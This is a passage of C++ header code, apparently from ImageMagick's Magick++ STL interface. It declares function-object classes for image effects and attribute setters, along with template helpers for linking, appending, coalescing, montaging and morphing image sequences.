Negate colors in image. Set grayscale to only negate grayscale // values in image. class MagickPPExport negateImage { public: negateImage( const bool grayscale_ = false ); void operator()( Image &image_ ) const; private: bool _grayscale; }; // Normalize image (increase contrast by normalizing the pixel // values to span the full range of color values) class MagickPPExport normalizeImage { public: normalizeImage( void ); void operator()( Image &image_ ) const; private: }; // Oilpaint image (image looks like oil painting) class MagickPPExport oilPaintImage { public: oilPaintImage( const double radius_ = 3 ); void operator()( Image &image_ ) const; private: double _radius; }; // Set or attenuate the image opacity channel. If the image pixels // are opaque then they are set to the specified opacity value, // otherwise they are blended with the supplied opacity value. The // value of opacity_ ranges from 0 (completely opaque) to // QuantumRange. The defines OpaqueOpacity and TransparentOpacity are // available to specify completely opaque or completely transparent, // respectively. class MagickPPExport opacityImage { public: opacityImage( const unsigned int opacity_ ); void operator()( Image &image_ ) const; private: unsigned int _opacity; }; // Change color of opaque pixel to specified pen color. class MagickPPExport opaqueImage { public: opaqueImage( const Color &opaqueColor_, const Color &penColor_ ); void operator()( Image &image_ ) const; private: Color _opaqueColor; Color _penColor; }; // Quantize image (reduce number of colors) class MagickPPExport quantizeImage { public: quantizeImage( const bool measureError_ = false ); void operator()( Image &image_ ) const; private: bool _measureError; }; // Raise image (lighten or darken the edges of an image to give a // 3-D raised or lowered effect) class MagickPPExport raiseImage { public: raiseImage( const Geometry &geometry_ = raiseGeometryDefault, const bool raisedFlag_ = false ); void operator()( Image &image_ ) const; private: Geometry _geometry; bool _raisedFlag; }; class MagickPPExport ReadOptions { public: // Default constructor ReadOptions(void); // Copy constructor ReadOptions(const ReadOptions& options_); // Destructor ~ReadOptions(); // Vertical and horizontal resolution in pixels of the image void density(const Geometry &geometry_); Geometry density(void) const; // Image depth (8 or 16) void depth(size_t depth_); size_t depth(void) const; // Suppress all warning messages. Error messages are still reported. void quiet(const bool quiet_); bool quiet(void) const; // Image size (required for raw formats) void size(const Geometry &geometry_); Geometry size(void) const; // // Internal implementation methods. Please do not use. // MagickCore::ImageInfo *imageInfo(void); private: // Assignment not supported ReadOptions& operator=(const ReadOptions&); MagickCore::ImageInfo *_imageInfo; bool _quiet; }; // Reduce noise in image using a noise peak elimination filter class MagickPPExport reduceNoiseImage { public: reduceNoiseImage( void ); reduceNoiseImage (const size_t order_ ); void operator()( Image &image_ ) const; private: size_t _order; }; // Resize image to specified size. class MagickPPExport resizeImage { public: resizeImage( const Geometry &geometry_ ); void operator()( Image &image_ ) const; private: Geometry _geometry; }; // Roll image (rolls image vertically and horizontally) by specified // number of columns and rows) class MagickPPExport rollImage { public: rollImage( const Geometry &roll_ ); rollImage( const ::ssize_t columns_, const ::ssize_t rows_ ); void operator()( Image &image_ ) const; private: size_t _columns; size_t _rows; }; // Rotate image counter-clockwise by specified number of degrees. class MagickPPExport rotateImage { public: rotateImage( const double degrees_ ); void operator()( Image &image_ ) const; private: double _degrees; }; // Resize image by using pixel sampling algorithm class MagickPPExport sampleImage { public: sampleImage( const Geometry &geometry_ ); void operator()( Image &image_ ) const; private: Geometry _geometry; }; // Resize image by using simple ratio algorithm class MagickPPExport scaleImage { public: scaleImage( const Geometry &geometry_ ); void operator()( Image &image_ ) const; private: Geometry _geometry; }; // Segment (coalesce similar image components) by analyzing the // histograms of the color components and identifying units that are // homogeneous with the fuzzy c-means technique. // Also uses QuantizeColorSpace and Verbose image attributes class MagickPPExport segmentImage { public: segmentImage( const double clusterThreshold_ = 1.0, const double smoothingThreshold_ = 1.5 ); void operator()( Image &image_ ) const; private: double _clusterThreshold; double _smoothingThreshold; }; // Shade image using distant light source class MagickPPExport shadeImage { public: shadeImage( const double azimuth_ = 30, const double elevation_ = 30, const bool colorShading_ = false ); void operator()( Image &image_ ) const; private: double _azimuth; double _elevation; bool _colorShading; }; // Shadow effect image (simulate an image shadow) class MagickPPExport shadowImage { public: shadowImage( const double percent_opacity_ = 80, const double sigma_ = 0.5, const ssize_t x_ = 5, const ssize_t y_ = 5 ); void operator()( Image &image_ ) const; private: double _percent_opacity; double _sigma; ssize_t _x; ssize_t _y; }; // Sharpen pixels in image class MagickPPExport sharpenImage { public: sharpenImage( const double radius_ = 1, const double sigma_ = 0.5 ); void operator()( Image &image_ ) const; private: double _radius; double _sigma; }; // Shave pixels from image edges. class MagickPPExport shaveImage { public: shaveImage( const Geometry &geometry_ ); void operator()( Image &image_ ) const; private: Geometry _geometry; }; // Shear image (create parallelogram by sliding image by X or Y axis) class MagickPPExport shearImage { public: shearImage( const double xShearAngle_, const double yShearAngle_ ); void operator()( Image &image_ ) const; private: double _xShearAngle; double _yShearAngle; }; // Solarize image (similar to effect seen when exposing a // photographic film to light during the development process) class MagickPPExport solarizeImage { public: solarizeImage( const double factor_ ); void operator()( Image &image_ ) const; private: double _factor; }; // Splice the background color into the image. class MagickPPExport spliceImage { public: spliceImage( const Geometry &geometry_ ); void operator()( Image &image_ ) const; private: Geometry _geometry; }; // Spread pixels randomly within image by specified amount class MagickPPExport spreadImage { public: spreadImage( const size_t amount_ = 3 ); void operator()( Image &image_ ) const; private: size_t _amount; }; // Add a digital watermark to the image (based on second image) class MagickPPExport steganoImage { public: steganoImage( const Image &waterMark_ ); void operator()( Image &image_ ) const; private: Image _waterMark; }; // Create an image which appears in stereo when viewed with red-blue glasses // (Red image on left, blue on right) class MagickPPExport stereoImage { public: stereoImage( const Image &rightImage_ ); void operator()( Image &image_ ) const; private: Image _rightImage; }; // Color to use when drawing object outlines class MagickPPExport strokeColorImage { public: strokeColorImage( const Color &strokeColor_ ); void operator()( Image &image_ ) const; private: Color _strokeColor; }; // Swirl image (image pixels are rotated by degrees) class MagickPPExport swirlImage { public: swirlImage( const double degrees_ ); void operator()( Image &image_ ) const; private: double _degrees; }; // Channel a texture on image background class MagickPPExport textureImage { public: textureImage( const Image &texture_ ); void operator()( Image &image_ ) const; private: Image _texture; }; // Threshold image class MagickPPExport thresholdImage { public: thresholdImage( const double threshold_ ); void operator()( Image &image_ ) const; private: double _threshold; }; // Transform image based on image and crop geometries class MagickPPExport transformImage { public: transformImage( const Geometry &imageGeometry_ ); transformImage( const Geometry &imageGeometry_, const Geometry &cropGeometry_ ); void operator()( Image &image_ ) const; private: Geometry _imageGeometry; Geometry _cropGeometry; }; // Set image color to transparent class MagickPPExport transparentImage { public: transparentImage( const Color& color_ ); void operator()( Image &image_ ) const; private: Color _color; }; // Trim edges that are the background color from the image class MagickPPExport trimImage { public: trimImage( void ); void operator()( Image &image_ ) const; private: }; // Map image pixels to a sine wave class MagickPPExport waveImage { public: waveImage( const double amplitude_ = 25.0, const double wavelength_ = 150.0 ); void operator()( Image &image_ ) const; private: double _amplitude; double _wavelength; }; // Zoom image to specified size. class MagickPPExport zoomImage { public: zoomImage( const Geometry &geometry_ ); void operator()( Image &image_ ) const; private: Geometry _geometry; }; // // Function object image attribute accessors // // Anti-alias Postscript and TrueType fonts (default true) class MagickPPExport antiAliasImage { public: antiAliasImage( const bool flag_ ); void operator()( Image &image_ ) const; private: bool _flag; }; // Join images into a single multi-image file class MagickPPExport adjoinImage { public: adjoinImage( const bool flag_ ); void operator()( Image &image_ ) const; private: bool _flag; }; // Time in 1/100ths of a second which must expire before displaying // the next image in an animated sequence. class MagickPPExport animationDelayImage { public: animationDelayImage( const size_t delay_ ); void operator()( Image &image_ ) const; private: size_t _delay; }; // Number of iterations to loop an animation (e.g. Netscape loop // extension) for. class MagickPPExport animationIterationsImage { public: animationIterationsImage( const size_t iterations_ ); void operator()( Image &image_ ) const; private: size_t _iterations; }; // Image background color class MagickPPExport backgroundColorImage { public: backgroundColorImage( const Color &color_ ); void operator()( Image &image_ ) const; private: Color _color; }; // Name of texture image to tile onto the image background class MagickPPExport backgroundTextureImage { public: backgroundTextureImage( const std::string &backgroundTexture_ ); void operator()( Image &image_ ) const; private: std::string _backgroundTexture; }; // Image border color class MagickPPExport borderColorImage { public: borderColorImage( const Color &color_ ); void operator()( Image &image_ ) const; private: Color _color; }; // Text bounding-box base color (default none) class MagickPPExport boxColorImage { public: boxColorImage( const Color &boxColor_ ); void operator()( Image &image_ ) const; private: Color _boxColor; }; // Chromaticity blue primary point (e.g. x=0.15, y=0.06) class MagickPPExport chromaBluePrimaryImage { public: chromaBluePrimaryImage( const double x_, const double y_ ); void operator()( Image &image_ ) const; private: double _x; double _y; }; // Chromaticity green primary point (e.g. x=0.3, y=0.6) class MagickPPExport chromaGreenPrimaryImage { public: chromaGreenPrimaryImage( const double x_, const double y_ ); void operator()( Image &image_ ) const; private: double _x; double _y; }; // Chromaticity red primary point (e.g. x=0.64, y=0.33) class MagickPPExport chromaRedPrimaryImage { public: chromaRedPrimaryImage( const double x_, const double y_ ); void operator()( Image &image_ ) const; private: double _x; double _y; }; // Chromaticity white point (e.g. x=0.3127, y=0.329) class MagickPPExport chromaWhitePointImage { public: chromaWhitePointImage( const double x_, const double y_ ); void operator()( Image &image_ ) const; private: double _x; double _y; }; // Colors within this distance are considered equal class MagickPPExport colorFuzzImage { public: colorFuzzImage( const double fuzz_ ); void operator()( Image &image_ ) const; private: double _fuzz; }; // Color at colormap position index_ class MagickPPExport colorMapImage { public: colorMapImage( const size_t index_, const Color &color_ ); void operator()( Image &image_ ) const; private: size_t _index; Color _color; }; // Composition operator to be used when composition is implicitly used // (such as for image flattening). class MagickPPExport composeImage { public: composeImage( const CompositeOperator compose_ ); void operator()( Image &image_ ) const; private: CompositeOperator _compose; }; // Compression type class MagickPPExport compressTypeImage { public: compressTypeImage( const CompressionType compressType_ ); void operator()( Image &image_ ) const; private: CompressionType _compressType; }; // Vertical and horizontal resolution in pixels of the image class MagickPPExport densityImage { public: densityImage( const Geometry &geomery_ ); void operator()( Image &image_ ) const; private: Geometry _geomery; }; // Image depth (bits allocated to red/green/blue components) class MagickPPExport depthImage { public: depthImage( const size_t depth_ ); void operator()( Image &image_ ) const; private: size_t _depth; }; // Endianness (LSBEndian like Intel or MSBEndian like SPARC) for image // formats which support endian-specific options. class MagickPPExport endianImage { public: endianImage( const EndianType endian_ ); void operator()( Image &image_ ) const; private: EndianType _endian; }; // Image file name class MagickPPExport fileNameImage { public: fileNameImage( const std::string &fileName_ ); void operator()( Image &image_ ) const; private: std::string _fileName; }; // Filter to use when resizing image class MagickPPExport filterTypeImage { public: filterTypeImage( const FilterTypes filterType_ ); void operator()( Image &image_ ) const; private: FilterTypes _filterType; }; // Text rendering font class MagickPPExport fontImage { public: fontImage( const std::string &font_ ); void operator()( Image &image_ ) const; private: std::string _font; }; // Font point size class MagickPPExport fontPointsizeImage { public: fontPointsizeImage( const size_t pointsize_ ); void operator()( Image &image_ ) const; private: size_t _pointsize; }; // GIF disposal method class MagickPPExport gifDisposeMethodImage { public: gifDisposeMethodImage( const size_t disposeMethod_ ); void operator()( Image &image_ ) const; private: size_t _disposeMethod; }; // Type of interlacing to use class MagickPPExport interlaceTypeImage { public: interlaceTypeImage( const InterlaceType interlace_ ); void operator()( Image &image_ ) const; private: InterlaceType _interlace; }; // Linewidth for drawing vector objects (default one) class MagickPPExport lineWidthImage { public: lineWidthImage( const double lineWidth_ ); void operator()( Image &image_ ) const; private: double _lineWidth; }; // File type magick identifier (.e.g "GIF") class MagickPPExport magickImage { public: magickImage( const std::string &magick_ ); void operator()( Image &image_ ) const; private: std::string _magick; }; // Image supports transparent color class MagickPPExport matteImage { public: matteImage( const bool matteFlag_ ); void operator()( Image &image_ ) const; private: bool _matteFlag; }; // Transparent color class MagickPPExport matteColorImage { public: matteColorImage( const Color &matteColor_ ); void operator()( Image &image_ ) const; private: Color _matteColor; }; // Indicate that image is black and white class MagickPPExport monochromeImage { public: monochromeImage( const bool monochromeFlag_ ); void operator()( Image &image_ ) const; private: bool _monochromeFlag; }; // Pen color class MagickPPExport penColorImage { public: penColorImage( const Color &penColor_ ); void operator()( Image &image_ ) const; private: Color _penColor; }; // Pen texture image. class MagickPPExport penTextureImage { public: penTextureImage( const Image &penTexture_ ); void operator()( Image &image_ ) const; private: Image _penTexture; }; // Set pixel color at location x & y. class MagickPPExport pixelColorImage { public: pixelColorImage( const ::ssize_t x_, const ::ssize_t y_, const Color &color_); void operator()( Image &image_ ) const; private: ::ssize_t _x; ::ssize_t _y; Color _color; }; // Postscript page size. class MagickPPExport pageImage { public: pageImage( const Geometry &pageSize_ ); void operator()( Image &image_ ) const; private: Geometry _pageSize; }; // JPEG/MIFF/PNG compression level (default 75). class MagickPPExport qualityImage { public: qualityImage( const size_t quality_ ); void operator()( Image &image_ ) const; private: size_t _quality; }; // Maximum number of colors to quantize to class MagickPPExport quantizeColorsImage { public: quantizeColorsImage( const size_t colors_ ); void operator()( Image &image_ ) const; private: size_t _colors; }; // Colorspace to quantize in. class MagickPPExport quantizeColorSpaceImage { public: quantizeColorSpaceImage( const ColorspaceType colorSpace_ ); void operator()( Image &image_ ) const; private: ColorspaceType _colorSpace; }; // Dither image during quantization (default true). class MagickPPExport quantizeDitherImage { public: quantizeDitherImage( const bool ditherFlag_ ); void operator()( Image &image_ ) const; private: bool _ditherFlag; }; // Quantization tree-depth class MagickPPExport quantizeTreeDepthImage { public: quantizeTreeDepthImage( const size_t treeDepth_ ); void operator()( Image &image_ ) const; private: size_t _treeDepth; }; // The type of rendering intent class MagickPPExport renderingIntentImage { public: renderingIntentImage( const RenderingIntent renderingIntent_ ); void operator()( Image &image_ ) const; private: RenderingIntent _renderingIntent; }; // Units of image resolution class MagickPPExport resolutionUnitsImage { public: resolutionUnitsImage( const ResolutionType resolutionUnits_ ); void operator()( Image &image_ ) const; private: ResolutionType _resolutionUnits; }; // Image scene number class MagickPPExport sceneImage { public: sceneImage( const size_t scene_ ); void operator()( Image &image_ ) const; private: size_t _scene; }; // adjust the image contrast with a non-linear sigmoidal contrast algorithm class MagickPPExport sigmoidalContrastImage { public: sigmoidalContrastImage( const size_t sharpen_, const double contrast, const double midpoint = QuantumRange / 2.0 ); void operator()( Image &image_ ) const; private: size_t _sharpen; double contrast; double midpoint; }; // Width and height of a raw image class MagickPPExport sizeImage { public: sizeImage( const Geometry &geometry_ ); void operator()( Image &image_ ) const; private: Geometry _geometry; }; // stripImage strips an image of all profiles and comments. class MagickPPExport stripImage { public: stripImage( void ); void operator()( Image &image_ ) const; private: }; // Subimage of an image sequence class MagickPPExport subImageImage { public: subImageImage( const size_t subImage_ ); void operator()( Image &image_ ) const; private: size_t _subImage; }; // Number of images relative to the base image class MagickPPExport subRangeImage { public: subRangeImage( const size_t subRange_ ); void operator()( Image &image_ ) const; private: size_t _subRange; }; // Tile name class MagickPPExport tileNameImage { public: tileNameImage( const std::string &tileName_ ); void operator()( Image &image_ ) const; private: std::string _tileName; }; // Image storage type class MagickPPExport typeImage { public: typeImage( const ImageType type_ ); void operator()( Image &image_ ) const; private: Magick::ImageType _type; }; // Print detailed information about the image class MagickPPExport verboseImage { public: verboseImage( const bool verbose_ ); void operator()( Image &image_ ) const; private: bool _verbose; }; // FlashPix viewing parameters class MagickPPExport viewImage { public: viewImage( const std::string &view_ ); void operator()( Image &image_ ) const; private: std::string _view; }; // X11 display to display to, obtain fonts from, or to capture // image from class MagickPPExport x11DisplayImage { public: x11DisplayImage( const std::string &display_ ); void operator()( Image &image_ ) const; private: std::string _display; }; ////////////////////////////////////////////////////////// // // Implementation template definitions. Not for end-use. // ////////////////////////////////////////////////////////// // Link images together into an image list based on the ordering of // the container implied by the iterator. This step is done in // preparation for use with ImageMagick functions which operate on // lists of images. // Images are selected by range, first_ to last_ so that a subset of // the container may be selected. Specify first_ via the // container's begin() method and last_ via the container's end() // method in order to specify the entire container. template <class InputIterator> bool linkImages( InputIterator first_, InputIterator last_ ) { MagickCore::Image* previous = 0; ::ssize_t scene = 0; for ( InputIterator iter = first_; iter != last_; ++iter ) { // Unless we reduce the reference count to one, the same image // structure may occur more than once in the container, causing // the linked list to fail. iter->modifyImage(); MagickCore::Image* current = iter->image(); current->previous = previous; current->next = 0; current->scene = scene++; if ( previous != 0) previous->next = current; previous = current; } return(scene > 0 ? true : false); } // Remove links added by linkImages. This should be called after the // ImageMagick function call has completed to reset the image list // back to its pristine un-linked state. template <class InputIterator> void unlinkImages( InputIterator first_, InputIterator last_ ) { for( InputIterator iter = first_; iter != last_; ++iter ) { MagickCore::Image* image = iter->image(); image->previous = 0; image->next = 0; } } // Insert images in image list into existing container (appending to container) // The images should not be deleted since only the image ownership is passed. // The options are copied into the object. template <class Container> void insertImages( Container *sequence_, MagickCore::Image* images_ ) { MagickCore::Image *image = images_; if ( image ) { do { MagickCore::Image* next_image = image->next; image->next = 0; if (next_image != 0) next_image->previous=0; sequence_->push_back( Magick::Image( image ) ); image=next_image; } while( image ); return; } } /////////////////////////////////////////////////////////////////// // // Template definitions for documented API // /////////////////////////////////////////////////////////////////// template <class InputIterator> void animateImages( InputIterator first_, InputIterator last_ ) { if (linkImages(first_,last_) == false) return; GetPPException; MagickCore::AnimateImages( first_->imageInfo(), first_->image() ); MagickCore::GetImageException( first_->image(), exceptionInfo ); unlinkImages( first_, last_ ); ThrowPPException(first_->quiet()); } // Append images from list into single image in either horizontal or // vertical direction. template <class InputIterator> void appendImages( Image *appendedImage_, InputIterator first_, InputIterator last_, bool stack_ = false) { if (linkImages(first_,last_) == false) return; GetPPException; MagickCore::Image* image = MagickCore::AppendImages( first_->image(), (MagickBooleanType) stack_, exceptionInfo ); unlinkImages( first_, last_ ); appendedImage_->replaceImage( image ); ThrowPPException(appendedImage_->quiet()); } // Adds the names of the artifacts of the image to the container. template <class Container> void artifactNames(Container *names_,const Image* image_) { char* name; names_->clear(); MagickCore::ResetImageArtifactIterator(image_->constImage()); name=MagickCore::GetNextImageArtifact(image_->constImage()); while (name != (char *) NULL) { names_->push_back(std::string(name)); name=MagickCore::GetNextImageArtifact(image_->constImage()); } } // Adds the names of the attributes of the image to the container. template <class Container> void attributeNames(Container *names_,const Image* image_) { char* name; names_->clear(); MagickCore::ResetImagePropertyIterator(image_->constImage()); name=MagickCore::GetNextImageProperty(image_->constImage()); while (name != (char *) NULL) { names_->push_back(std::string(name)); name=MagickCore::GetNextImageProperty(image_->constImage()); } } // Average a set of images. // All the input images must be the same size in pixels. template <class InputIterator> void averageImages( Image *averagedImage_, InputIterator first_, InputIterator last_ ) { GetPPException; linkImages( first_, last_ ); MagickCore::Image* image = MagickCore::EvaluateImages( first_->image(), MagickCore::MeanEvaluateOperator, exceptionInfo ); unlinkImages( first_, last_ ); averagedImage_->replaceImage( image ); ThrowPPException(averagedImage_->quiet()); } // Merge a sequence of images. // This is useful for GIF animation sequences that have page // offsets and disposal methods. A container to contain // the updated image sequence is passed via the coalescedImages_ // option. template <class InputIterator, class Container > void coalesceImages(Container *coalescedImages_,InputIterator first_, InputIterator last_) { bool quiet; MagickCore::Image *images; if (linkImages(first_,last_) == false) return; GetPPException; quiet=first_->quiet(); images=MagickCore::CoalesceImages( first_->image(),exceptionInfo); // Unlink image list unlinkImages(first_,last_); // Ensure container is empty coalescedImages_->clear(); // Move images to container insertImages(coalescedImages_,images); // Report any error ThrowPPException(quiet); } // Return format coders matching specified conditions. // // The default (if no match terms are supplied) is to return all // available format coders. // // For example, to return all readable formats: // list<CoderInfo> coderList; // coderInfoList( &coderList, CoderInfo::TrueMatch, CoderInfo::AnyMatch, CoderInfo::AnyMatch) // template <class Container > void coderInfoList( Container *container_, CoderInfo::MatchType isReadable_ = CoderInfo::AnyMatch, CoderInfo::MatchType isWritable_ = CoderInfo::AnyMatch, CoderInfo::MatchType isMultiFrame_ = CoderInfo::AnyMatch ) { // Obtain first entry in MagickInfo list size_t number_formats; GetPPException; char **coder_list = MagickCore::GetMagickList( "*", &number_formats, exceptionInfo ); if( !coder_list ) { throwException(exceptionInfo); throwExceptionExplicit(MagickCore::MissingDelegateError, "Coder array not returned!", 0 ); } // Clear out container container_->clear(); for ( ::ssize_t i=0; i < (::ssize_t) number_formats; i++) { const MagickCore::MagickInfo *magick_info = MagickCore::GetMagickInfo( coder_list[i], exceptionInfo ); coder_list[i]=(char *) MagickCore::RelinquishMagickMemory( coder_list[i] ); // Skip stealth coders if ( magick_info->stealth ) continue; try { CoderInfo coderInfo( magick_info->name ); // Test isReadable_ if ( isReadable_ != CoderInfo::AnyMatch && (( coderInfo.isReadable() && isReadable_ != CoderInfo::TrueMatch ) || ( !coderInfo.isReadable() && isReadable_ != CoderInfo::FalseMatch )) ) continue; // Test isWritable_ if ( isWritable_ != CoderInfo::AnyMatch && (( coderInfo.isWritable() && isWritable_ != CoderInfo::TrueMatch ) || ( !coderInfo.isWritable() && isWritable_ != CoderInfo::FalseMatch )) ) continue; // Test isMultiFrame_ if ( isMultiFrame_ != CoderInfo::AnyMatch && (( coderInfo.isMultiFrame() && isMultiFrame_ != CoderInfo::TrueMatch ) || ( !coderInfo.isMultiFrame() && isMultiFrame_ != CoderInfo::FalseMatch )) ) continue; // Append matches to container container_->push_back( coderInfo ); } // Intentionally ignore missing module errors catch (Magick::ErrorModule&) { continue; } } coder_list=(char **) MagickCore::RelinquishMagickMemory( coder_list ); ThrowPPException(false); } // // Fill container with color histogram. // Entries are of type "std::pair<Color,size_t>". Use the pair // "first" member to access the Color and the "second" member to access // the number of times the color occurs in the image. // // For example: // // Using <map>: // // Image image("image.miff"); // map<Color,size_t> histogram; // colorHistogram( &histogram, image ); // std::map<Color,size_t>::const_iterator p=histogram.begin(); // while (p != histogram.end()) // { // cout << setw(10) << (int)p->second << ": (" // << setw(quantum_width) << (int)p->first.redQuantum() << "," // << setw(quantum_width) << (int)p->first.greenQuantum() << "," // << setw(quantum_width) << (int)p->first.blueQuantum() << ")" // << endl; // p++; // } // // Using <vector>: // // Image image("image.miff"); // std::vector<std::pair<Color,size_t> > histogram; // colorHistogram( &histogram, image ); // std::vector<std::pair<Color,size_t> >::const_iterator p=histogram.begin(); // while (p != histogram.end()) // { // cout << setw(10) << (int)p->second << ": (" // << setw(quantum_width) << (int)p->first.redQuantum() << "," // << setw(quantum_width) << (int)p->first.greenQuantum() << "," // << setw(quantum_width) << (int)p->first.blueQuantum() << ")" // << endl; // p++; // } template <class Container > void colorHistogram( Container *histogram_, const Image image) { GetPPException; // Obtain histogram array size_t colors; MagickCore::ColorPacket *histogram_array = MagickCore::GetImageHistogram( image.constImage(), &colors, exceptionInfo ); ThrowPPException(image.quiet()); // Clear out container histogram_->clear(); // Transfer histogram array to container for ( size_t i=0; i < colors; i++) { histogram_->insert( histogram_->end(), std::pair<const Color,size_t> ( Color(histogram_array[i].pixel), (size_t) histogram_array[i].count) ); } // Deallocate histogram array histogram_array=(MagickCore::ColorPacket *) MagickCore::RelinquishMagickMemory(histogram_array); } // Combines one or more images into a single image. The grayscale value of // the pixels of each image in the sequence is assigned in order to the // specified channels of the combined image. The typical ordering would be // image 1 => Red, 2 => Green, 3 => Blue, etc. template <class InputIterator > void combineImages( Image *combinedImage_, InputIterator first_, InputIterator last_, const ChannelType channel_ ) { if (linkImages(first_,last_) == false) return; GetPPException; MagickCore::Image* image = CombineImages( first_->image(), channel_, exceptionInfo ); unlinkImages( first_, last_ ); combinedImage_->replaceImage( image ); ThrowPPException(combinedImage_->quiet()); } template <class Container> void cropToTiles(Container *tiledImages_,const Image image_, const Geometry &geometry_) { GetPPException; MagickCore::Image* images=CropImageToTiles(image_.constImage(), static_cast<std::string>(geometry_).c_str(),exceptionInfo); tiledImages_->clear(); insertImages(tiledImages_,images); ThrowPPException(image_.quiet()); } // Break down an image sequence into constituent parts. This is // useful for creating GIF or MNG animation sequences. template <class InputIterator, class Container> void deconstructImages(Container *deconstructedImages_,InputIterator first_, InputIterator last_) { bool quiet; MagickCore::Image *images; if (linkImages(first_,last_) == false) return; GetPPException; quiet=first_->quiet(); images=DeconstructImages(first_->image(),exceptionInfo); // Unlink image list unlinkImages(first_,last_); // Ensure container is empty deconstructedImages_->clear(); // Move images to container insertImages(deconstructedImages_,images); // Report any error ThrowPPException(quiet); } // // Display an image sequence // template <class InputIterator> void displayImages( InputIterator first_, InputIterator last_ ) { if (linkImages(first_,last_) == false) return; GetPPException; MagickCore::DisplayImages( first_->imageInfo(), first_->image() ); MagickCore::GetImageException( first_->image(), exceptionInfo ); unlinkImages( first_, last_ ); ThrowPPException(first_->quiet()); } // Applies a value to the image with an arithmetic, relational, // or logical operator to an image. Use these operations to lighten or darken // an image, to increase or decrease contrast in an image, or to produce the // "negative" of an image. template <class InputIterator > void evaluateImages( Image *evaluatedImage_, InputIterator first_, InputIterator last_, const MagickEvaluateOperator operator_ ) { if (linkImages(first_,last_) == false) return; GetPPException; MagickCore::Image* image = EvaluateImages( first_->image(), operator_, exceptionInfo ); unlinkImages( first_, last_ ); evaluatedImage_->replaceImage( image ); ThrowPPException(evaluatedImage_->quiet()); } // Merge a sequence of image frames which represent image layers. // This is useful for combining Photoshop layers into a single image. template <class InputIterator> void flattenImages( Image *flattenedImage_, InputIterator first_, InputIterator last_ ) { if (linkImages(first_,last_) == false) return; GetPPException; MagickCore::Image* image = MagickCore::MergeImageLayers( first_->image(), FlattenLayer,exceptionInfo ); unlinkImages( first_, last_ ); flattenedImage_->replaceImage( image ); ThrowPPException(flattenedImage_->quiet()); } // Implements the discrete Fourier transform (DFT) of the image either as a // magnitude / phase or real / imaginary image pair. template <class Container > void forwardFourierTransformImage( Container *fourierImages_, const Image &image_ ) { GetPPException; // Build image list MagickCore::Image* images = ForwardFourierTransformImage( image_.constImage(), MagickTrue, exceptionInfo); // Ensure container is empty fourierImages_->clear(); // Move images to container insertImages( fourierImages_, images ); // Report any error ThrowPPException(image_.quiet()); } template <class Container > void forwardFourierTransformImage( Container *fourierImages_, const Image &image_, const bool magnitude_ ) { GetPPException; // Build image list MagickCore::Image* images = ForwardFourierTransformImage( image_.constImage(), magnitude_ == true ? MagickTrue : MagickFalse, exceptionInfo); // Ensure container is empty fourierImages_->clear(); // Move images to container insertImages( fourierImages_, images ); // Report any error ThrowPPException(image_.quiet()); } // Applies a mathematical expression to a sequence of images. template <class InputIterator> void fxImages(Image *fxImage_,InputIterator first_,InputIterator last_, const std::string expression) { MagickCore::Image *image; if (linkImages(first_,last_) == false) return; GetPPException; image=FxImageChannel(first_->constImage(),DefaultChannels, expression.c_str(),exceptionInfo); unlinkImages(first_,last_); fxImage_->replaceImage(image); ThrowPPException(fxImage_->quiet()); } // Replace the colors of a sequence of images with the closest color // from a reference image. // Set dither_ to true to enable dithering. Set measureError_ to // true in order to evaluate quantization error. template <class InputIterator> void mapImages( InputIterator first_, InputIterator last_, const Image& mapImage_, bool dither_ = false, bool measureError_ = false ) { if (linkImages(first_,last_) == false) return; GetPPException; MagickCore::QuantizeInfo quantizeInfo; MagickCore::GetQuantizeInfo( &quantizeInfo ); quantizeInfo.dither = dither_ ? MagickCore::MagickTrue : MagickCore::MagickFalse; MagickCore::RemapImages( &quantizeInfo, first_->image(), (mapImage_.isValid() ? mapImage_.constImage() : (const MagickCore::Image*) NULL)); MagickCore::GetImageException( first_->image(), exceptionInfo ); if ( exceptionInfo->severity != MagickCore::UndefinedException ) { unlinkImages( first_, last_ ); throwException(exceptionInfo,mapImage_.quiet()); } MagickCore::Image* image = first_->image(); while( image ) { // Calculate quantization error if ( measureError_ ) { MagickCore::GetImageQuantizeError( image ); if ( image->exception.severity > MagickCore::UndefinedException ) { unlinkImages( first_, last_ ); throwException(exceptionInfo,mapImage_.quiet()); } } // Udate DirectClass representation of pixels MagickCore::SyncImage( image ); if ( image->exception.severity > MagickCore::UndefinedException ) { unlinkImages( first_, last_ ); throwException(exceptionInfo,mapImage_.quiet()); } // Next image image=image->next; } unlinkImages( first_, last_ ); (void) MagickCore::DestroyExceptionInfo( exceptionInfo ); } // Composes all the image layers from the current given // image onward to produce a single image of the merged layers. template <class InputIterator > void mergeImageLayers( Image *mergedImage_, InputIterator first_, InputIterator last_, const ImageLayerMethod method_ ) { if (linkImages(first_,last_) == false) return; GetPPException; MagickCore::Image* image = MergeImageLayers( first_->image(), method_, exceptionInfo ); unlinkImages( first_, last_ ); mergedImage_->replaceImage( image ); ThrowPPException(mergedImage_->quiet()); } // Create a composite image by combining several separate images. template <class Container, class InputIterator> void montageImages(Container *montageImages_,InputIterator first_, InputIterator last_,const Montage &options_) { bool quiet; MagickCore::Image *images; MagickCore::MontageInfo *montageInfo; if (linkImages(first_,last_) == false) return; montageInfo=static_cast<MagickCore::MontageInfo*>( MagickCore::AcquireMagickMemory(sizeof(MagickCore::MontageInfo))); // Update montage options with those set in montageOpts_ options_.updateMontageInfo(*montageInfo); // Update options which must transfer to image options if (options_.label().length() != 0) first_->label(options_.label()); // Do montage GetPPException; quiet=first_->quiet(); images=MagickCore::MontageImages(first_->image(),montageInfo, exceptionInfo); // Unlink linked image list unlinkImages(first_,last_); // Reset output container to pristine state montageImages_->clear(); if (images != (MagickCore::Image *) NULL) insertImages(montageImages_,images); // Clean up any allocated data in montageInfo MagickCore::DestroyMontageInfo(montageInfo); // Report any montage error ThrowPPException(quiet); // Apply transparency to montage images if (montageImages_->size() > 0 && options_.transparentColor().isValid()) for_each(montageImages_->begin(),montageImages_->end(),transparentImage( options_.transparentColor())); } // Morph a set of images template <class InputIterator,class Container> void morphImages(Container *morphedImages_,InputIterator first_, InputIterator last_,size_t frames_) { bool quiet; MagickCore::Image *images; if (linkImages(first_,last_) == false) return; GetPPException; quiet=first_->quiet(); images=MagickCore::MorphImages(first_->image(),frames_,exceptionInfo); // Unlink image list unlinkImages(first_,last_); // Ensure container is empty morphedImages_->clear(); // Move images to container insertImages(morphedImages_,images); // Report any error ThrowPPException(quiet); } // Inlay a number of images to form a single coherent picture. template <class InputIterator> void mosaicImages( Image *mosaicImage_, InputIterator first_, InputIterator last_ ) { if (linkImages(first_,last_) == false) return; GetPPException; 